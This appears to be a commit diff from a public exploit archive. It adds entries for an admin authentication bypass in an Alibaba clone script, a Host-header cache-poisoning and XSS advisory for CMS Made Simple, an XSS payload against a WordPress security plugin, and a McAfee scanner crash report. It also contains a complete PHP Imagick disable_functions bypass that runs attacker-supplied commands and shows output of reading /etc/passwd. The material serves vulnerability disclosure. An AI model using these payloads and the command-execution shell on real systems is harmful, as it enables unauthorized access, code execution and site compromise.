3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F
|
||||
</explicitValue>
|
||||
</byteArrayExplicitValueModification>
|
||||
</plainRecordBytes>
|
||||
</Record>
|
||||
</records>
|
||||
</Finished>
|
||||
<ChangeCipherSpec>
|
||||
<messageIssuer>SERVER</messageIssuer>
|
||||
</ChangeCipherSpec>
|
||||
<Finished>
|
||||
<messageIssuer>SERVER</messageIssuer>
|
||||
</Finished>
|
||||
</protocolMessages>
|
||||
</workflowTrace>
|
||||
|
||||
It looks to be complicated, but it is just a configuration for a TLS handshake used in TLS-Attacker, with an explicit value for a plain Finished message (32 0x3F bytes). If you change the value in the Finished message, you will see a different alert message returned by the server.
|
20
platforms/php/webapps/39759.txt
Executable file
20
platforms/php/webapps/39759.txt
Executable file
|
@ -0,0 +1,20 @@
|
|||
# Exploit Title: Alibaba Clone B2B Script Admin Authentication Bypass
|
||||
# Date: 2016-05-03
|
||||
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
|
||||
# Vendor Homepage: http://alibaba-clone.com/
|
||||
# Version: All Versions
|
||||
|
||||
Exploit :
|
||||
For enter , simply enter the following code
|
||||
http://server/admin/adminhome.php?tmp=1
|
||||
|
||||
For each page is enough to add the following code to the end of url
|
||||
example see page members :
|
||||
http://server/admin/members.php?tmp=1
|
||||
|
||||
or add a new news :
|
||||
http://server/admin/hot_news_menu.php?tmp=1
|
||||
|
||||
or edit news :
|
||||
http://server/admin/edit_hot_news.php?hotnewsid=44&tmp=1
|
||||
|
93
platforms/php/webapps/39760.txt
Executable file
93
platforms/php/webapps/39760.txt
Executable file
|
@ -0,0 +1,93 @@
|
|||
=============================================
|
||||
Web Server Cache Poisoning in CMS Made Simple
|
||||
=============================================
|
||||
|
||||
CVE-2016-2784
|
||||
|
||||
Product Description
|
||||
===================
|
||||
|
||||
CMS Made Simple is a great tool with many plugins to publish content on the Web. It aims to
|
||||
be simple to use by end users and to provide a secure and robust website.
|
||||
|
||||
Website: http://www.cmsmadesimple.org/
|
||||
|
||||
Description
|
||||
===========
|
||||
|
||||
A remote unauthenticated attacker can insert malicious content in a CMS Made Simple
|
||||
installation by poisoning the web server cache when Smarty Cache is activated by modifying
|
||||
the Host HTTP Header in his request.
|
||||
|
||||
The vulnerability can be triggered only if the Host header is not part of the web server
|
||||
routing process (e.g. if several domains are served by the same web server).
|
||||
|
||||
This can lead to phishing attacks because of the modification of the site's links,
|
||||
defacement or Cross-Site-Scripting attacks by a lack of filtering of HTML entities in
|
||||
$_SERVER variable.
|
||||
|
||||
**Access Vector**: remote
|
||||
**Security Risk**: medium
|
||||
**Vulnerability**: CWE-20
|
||||
**CVSS Base score**: 5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)
|
||||
|
||||
----------------
|
||||
Proof of Concept
|
||||
----------------
|
||||
|
||||
Request that shows improper HTML entities filtering and will insert
|
||||
' onload='javacript:alert(Xss) in the pages :
|
||||
|
||||
GET / HTTP/1.1
|
||||
Host: ' onload='javascrscript:ipt:alert(Xss)
|
||||
Accept: */*
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
|
||||
Request that changes the root domain for all links and allows to redirect to external
|
||||
websites :
|
||||
|
||||
GET / HTTP/1.1
|
||||
Host: www.malicious.com
|
||||
Accept: */*
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
|
||||
Solution
|
||||
========
|
||||
|
||||
Use the variable $_SERVER['SERVER_NAME'] instead of the variable $_SERVER['HTTP_HOST']
|
||||
given that the server name is correctly defined or use an application specific
|
||||
constant.
|
||||
|
||||
Fixes
|
||||
=====
|
||||
|
||||
Upgrade to CMS Made Simple 2.1.3 or 1.12.2.
|
||||
|
||||
See http://www.cmsmadesimple.org/2016/03/Announcing-CMSMS-1-12-2-kolonia and
|
||||
http://www.cmsmadesimple.org/2016/04/Announcing-CMSMS-2-1-3-Black-Point for upgrade
|
||||
instructions.
|
||||
|
||||
Mitigation : disable Smarty caching in the admin panel.
|
||||
|
||||
Affected Versions
|
||||
=================
|
||||
|
||||
CMS Made Simple < 2.1.3 and < 1.12.2
|
||||
|
||||
Vulnerability Disclosure Timeline
|
||||
=================================
|
||||
|
||||
02-24-2016: Vendor contacted
|
||||
02-24-2016: Vulnerability confirmed by the vendor
|
||||
03-01-2016: CVE identifier assigned
|
||||
03-28-2016 & 04-16-2016: Vendor patch release
|
||||
05-03-2016: Public Disclosure
|
||||
|
||||
Credits
|
||||
=======
|
||||
|
||||
* Mickaël Walter, I-Tracing (lab -at- i-tracing -dot- com)
|
||||
|
||||
Website: http://www.i-tracing.com/
|
38
platforms/php/webapps/39761.txt
Executable file
38
platforms/php/webapps/39761.txt
Executable file
|
@ -0,0 +1,38 @@
|
|||
1. Introduction
|
||||
|
||||
# Exploit Title: Acunetix WP Security 3.0.3 XSS
|
||||
# Date: May.03.2016
|
||||
# Exploit Author: Johto Robbie
|
||||
# Facebook: https://www.facebook.com/johto.robbie
|
||||
# Vendor: VN Hacker News
|
||||
# Tested On: Apache 2.4.17 / PHP 5.6.16 / Windows 10 / WordPress 4.5.1
|
||||
# Category: Webapps
|
||||
# Software Link:
|
||||
http://localhost:8888/wordpress/wp-admin/admin.php?page=swpa_live_traffic
|
||||
|
||||
2. Descryption:
|
||||
|
||||
I have to insert scripts into the content search wordpress. The result is
|
||||
that it is logging in Acunetix Secure WordPress. Taking advantage of this,
|
||||
I have exploited XSS vulnerability
|
||||
|
||||
<span class="w-entry"><a
|
||||
href="http://localhost:8888/wordpress/?s="><script>alert("Johto.Robbie"</script>"
|
||||
target="_blank" title="Opens in a new tab">
|
||||
http://localhost:8888/wordpress/?s=
|
||||
"><script>alert("Johto.Robbie"</script></a></span>
|
||||
|
||||
Video Demonstration:
|
||||
https://www.youtube.com/watch?v=L8t3_HGriP8&feature=youtu.be
|
||||
|
||||
|
||||
|
||||
3. Report Timeline
|
||||
|
||||
02-05-2016 : Discovered
|
||||
02-05-2016 : Vendor notified
|
||||
|
||||
|
||||
4. Solution
|
||||
|
||||
Update to version 4.5.1
|
50
platforms/php/webapps/39766.php
Executable file
50
platforms/php/webapps/39766.php
Executable file
|
@ -0,0 +1,50 @@
|
|||
# Exploit Title: PHP Imagick disable_functions Bypass
|
||||
# Date: 2016-05-04
|
||||
# Exploit Author: RicterZ (ricter@chaitin.com)
|
||||
# Vendor Homepage: https://pecl.php.net/package/imagick
|
||||
# Version: Imagick <= 3.3.0 PHP >= 5.4
|
||||
# Test on: Ubuntu 12.04
|
||||
|
||||
# Exploit:
|
||||
|
||||
<?php
|
||||
# PHP Imagick disable_functions Bypass
|
||||
# Author: Ricter <ricter@chaitin.com>
|
||||
#
|
||||
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
|
||||
# <pre>
|
||||
# Disable functions: exec,passthru,shell_exec,system,popen
|
||||
# Run command: cat /etc/passwd
|
||||
# ====================
|
||||
# root:x:0:0:root:/root:/usr/local/bin/fish
|
||||
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
||||
# bin:x:2:2:bin:/bin:/bin/sh
|
||||
# sys:x:3:3:sys:/dev:/bin/sh
|
||||
# sync:x:4:65534:sync:/bin:/bin/sync
|
||||
# games:x:5:60:games:/usr/games:/bin/sh
|
||||
# ...
|
||||
# </pre>
|
||||
echo "Disable functions: " . ini_get("disable_functions") . "\n";
|
||||
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
|
||||
echo "Run command: $command\n====================\n";
|
||||
|
||||
$data_file = tempnam('/tmp', 'img');
|
||||
$imagick_file = tempnam('/tmp', 'img');
|
||||
|
||||
$exploit = <<<EOF
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
|
||||
pop graphic-context
|
||||
EOF;
|
||||
|
||||
file_put_contents("$imagick_file", $exploit);
|
||||
$thumb = new Imagick();
|
||||
$thumb->readImage("$imagick_file");
|
||||
$thumb->writeImage(tempnam('/tmp', 'img'));
|
||||
$thumb->clear();
|
||||
$thumb->destroy();
|
||||
|
||||
echo file_get_contents($data_file);
|
||||
?>
|
||||
|
44
platforms/windows/dos/39770.txt
Executable file
44
platforms/windows/dos/39770.txt
Executable file
|
@ -0,0 +1,44 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=817
|
||||
|
||||
Fuzzing packed executables with McAfee's LiveSafe 14.0 on Windows found a signedness error parsing sections and relocations. The attached fuzzed testcase demonstrates this and causes a crash in mscan64a.dll. I verified that this crash reproduces on Linux and Windows, all version of McAfee appear to be affected including the embedded version and the SDK.
|
||||
|
||||
Naturally, this code runs as SYSTEM on Windows, with no sandboxing and is used to parse untrusted remote input.
|
||||
|
||||
0:045> .lastevent
|
||||
Last event: d34.13a4: Access violation - code c0000005 (first chance)
|
||||
debugger time: Tue Apr 5 15:02:40.009 2016 (UTC - 7:00)
|
||||
0:045> r
|
||||
rax=00000000306f1000 rbx=00000000306f1000 rcx=00000000ffffffff
|
||||
rdx=00000001031d114f rsi=00000000031d1150 rdi=00000000306f4000
|
||||
rip=00000000711a36fa rsp=00000000064748a0 rbp=00000000031ca880
|
||||
r8=00000000000005d3 r9=00000000306f0fff r10=8d00008661e82404
|
||||
r11=0000000000000000 r12=00000000306f4000 r13=000000000647917c
|
||||
r14=000000001070c1b8 r15=00000000031ca698
|
||||
iopl=0 nv up ei pl nz na pe nc
|
||||
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
|
||||
mscan64a!RetrieveSingleExtensionList+0x19844a:
|
||||
00000000`711a36fa 0fb64a01 movzx ecx,byte ptr [rdx+1] ds:00000001`031d1150=??
|
||||
|
||||
Okay, what happened there?
|
||||
|
||||
0:007> ub
|
||||
mscan64a!RetrieveSingleExtensionList+0x198437:
|
||||
00000000`71fd36e7 8b45c8 mov eax,dword ptr [rbp-38h]
|
||||
00000000`71fd36ea 8b08 mov ecx,dword ptr [rax]
|
||||
00000000`71fd36ec 8d4101 lea eax,[rcx+1]
|
||||
00000000`71fd36ef 3bc7 cmp eax,edi
|
||||
00000000`71fd36f1 7332 jae mscan64a!RetrieveSingleExtensionList+0x198475 (00000000`71fd3725)
|
||||
00000000`71fd36f3 2bcb sub ecx,ebx
|
||||
00000000`71fd36f5 8bd1 mov edx,ecx
|
||||
00000000`71fd36f7 4803d6 add rdx,rsi
|
||||
0:007> dd @rbp-38 L1
|
||||
00000000`0c529018 0c52d7ac
|
||||
0:007> dd 0c52d7ac L1
|
||||
00000000`0c52d7ac 90000fff
|
||||
|
||||
So it looks like that calculation is used as an index into @rsi, which is obviously going to be oob.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39770.zip
|
||||
|
Loading…
Add table
Reference in a new issue